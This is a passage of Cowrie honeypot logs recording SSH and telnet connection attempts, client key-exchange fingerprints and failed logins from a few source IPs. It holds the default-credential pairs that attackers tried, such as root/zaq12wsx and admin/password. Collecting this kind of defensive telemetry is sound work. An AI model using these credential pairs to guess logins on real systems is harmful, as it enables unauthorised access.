com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:10.057936Z","src_ip":"91.92.40.153","session":"39c6ddae2643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:12.048981Z","src_ip":"91.92.40.153","session":"39c6ddae2643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:12.168670Z","src_ip":"139.99.74.35","session":"7042420a95ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"49fd5782f2f6","protocol":"ssh","message":"New connection: 139.99.74.35:58920 (159.203.135.109:22) [session: 49fd5782f2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:12.407888Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:13.182932Z","src_ip":"91.92.40.153","session":"39c6ddae2643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56498,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ab6f4565de","protocol":"ssh","message":"New connection: 91.92.40.153:56498 (10.17.0.5:22) [session: 63ab6f4565de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:16.651089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:16.796558Z","src_ip":"91.92.40.153","session":"63ab6f4565de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:16.809426Z","src_ip":"91.92.40.153","session":"63ab6f4565de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:17.174134Z","src_ip":"139.99.74.35","session":"49fd5782f2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:17.355483Z","src_ip":"91.92.40.153","session":"63ab6f4565de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dfa661b1e18","protocol":"ssh","message":"New connection: 139.99.74.35:37312 (159.203.135.109:22) [session: 2dfa661b1e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:17.401952Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:18.492674Z","src_ip":"91.92.40.153","session":"63ab6f4565de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44874,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f792aea92b1","protocol":"telnet","message":"New connection: 170.64.224.25:44874 (159.203.135.109:23) [session: 9f792aea92b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:21.972913Z"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:22.719907Z","src_ip":"139.99.74.35","session":"2dfa661b1e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":46006,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c39b2ab270","protocol":"ssh","message":"New connection: 91.92.40.153:46006 (10.17.0.5:22) [session: 60c39b2ab270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:22.774545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:22.798640Z","src_ip":"91.92.40.153","session":"60c39b2ab270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:22.903356Z","src_ip":"91.92.40.153","session":"60c39b2ab270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37326,"dst_ip":"159.203.135.109","dst_port":22,"session":"df234c55f097","protocol":"ssh","message":"New connection: 139.99.74.35:37326 (159.203.135.109:22) [session: df234c55f097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:22.953377Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:23.361418Z","src_ip":"91.92.40.153","session":"60c39b2ab270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:24.925226Z","src_ip":"91.92.40.153","session":"60c39b2ab270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:27.740836Z","src_ip":"139.99.74.35","session":"df234c55f097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37684,"dst_ip":"159.203.135.109","dst_port":22,"session":"079fb00efb75","protocol":"ssh","message":"New connection: 139.99.74.35:37684 (159.203.135.109:22) [session: 079fb00efb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:27.981291Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":46090,"dst_ip":"10.17.0.5","dst_port":22,"session":"087515301394","protocol":"ssh","message":"New connection: 91.92.40.153:46090 (10.17.0.5:22) [session: 087515301394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:28.438866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:28.892767Z","src_ip":"91.92.40.153","session":"087515301394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:28.895798Z","src_ip":"91.92.40.153","session":"087515301394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:30.372683Z","src_ip":"91.92.40.153","session":"087515301394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59084,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d7e8edc37bb","protocol":"ssh","message":"New connection: 160.187.174.22:59084 (159.203.135.109:22) [session: 9d7e8edc37bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:31.618246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:31.656328Z","src_ip":"160.187.174.22","session":"9d7e8edc37bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:31.820642Z","src_ip":"91.92.40.153","session":"087515301394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:31.870881Z","src_ip":"160.187.174.22","session":"9d7e8edc37bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:32.750783Z","src_ip":"139.99.74.35","session":"079fb00efb75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:32.851137Z","src_ip":"160.187.174.22","session":"9d7e8edc37bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":37698,"dst_ip":"159.203.135.109","dst_port":22,"session":"121b663648fd","protocol":"ssh","message":"New connection: 139.99.74.35:37698 (159.203.135.109:22) [session: 121b663648fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:32.983526Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50606,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb6a930eab22","protocol":"ssh","message":"New connection: 91.92.40.153:50606 (10.17.0.5:22) [session: eb6a930eab22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:34.084475Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:34.103462Z","src_ip":"160.187.174.22","session":"9d7e8edc37bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:34.478965Z","src_ip":"91.92.40.153","session":"eb6a930eab22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:34.482267Z","src_ip":"91.92.40.153","session":"eb6a930eab22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.90820288658142,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:35.913630Z","src_ip":"170.64.224.25","session":"6c699ed5b137","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:36.607293Z","src_ip":"91.92.40.153","session":"eb6a930eab22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:37.772025Z","src_ip":"139.99.74.35","session":"121b663648fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38024,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f871d2de885","protocol":"ssh","message":"New connection: 139.99.74.35:38024 (159.203.135.109:22) [session: 3f871d2de885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:38.006400Z"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:38.268438Z","src_ip":"91.92.40.153","session":"eb6a930eab22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff260b23ab8e","protocol":"ssh","message":"New connection: 91.92.40.153:50674 (10.17.0.5:22) [session: ff260b23ab8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:40.453405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:40.709346Z","src_ip":"91.92.40.153","session":"ff260b23ab8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:40.712708Z","src_ip":"91.92.40.153","session":"ff260b23ab8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee196bb5ac95","protocol":"telnet","message":"New connection: 170.64.224.25:49328 (159.203.135.109:23) [session: ee196bb5ac95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:41.859491Z"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:41.982281Z","src_ip":"91.92.40.153","session":"ff260b23ab8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:43.383555Z","src_ip":"91.92.40.153","session":"ff260b23ab8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:44.183686Z","src_ip":"139.99.74.35","session":"3f871d2de885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45588,"dst_ip":"159.203.135.109","dst_port":22,"session":"298c36e706b7","protocol":"ssh","message":"New connection: 139.99.74.35:45588 (159.203.135.109:22) [session: 298c36e706b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:44.409314Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49344,"dst_ip":"159.203.135.109","dst_port":23,"session":"6041a61fcf7c","protocol":"telnet","message":"New connection: 170.64.224.25:49344 (159.203.135.109:23) [session: 6041a61fcf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:44.639881Z"}
{"eventid":"cowrie.session.closed","duration":52.749725103378296,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:46.214622Z","src_ip":"170.64.224.25","session":"f52ff0a03f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59148,"dst_ip":"10.17.0.5","dst_port":22,"session":"03aa07b39df6","protocol":"ssh","message":"New connection: 91.92.40.153:59148 (10.17.0.5:22) [session: 03aa07b39df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:08:46.396065Z"}
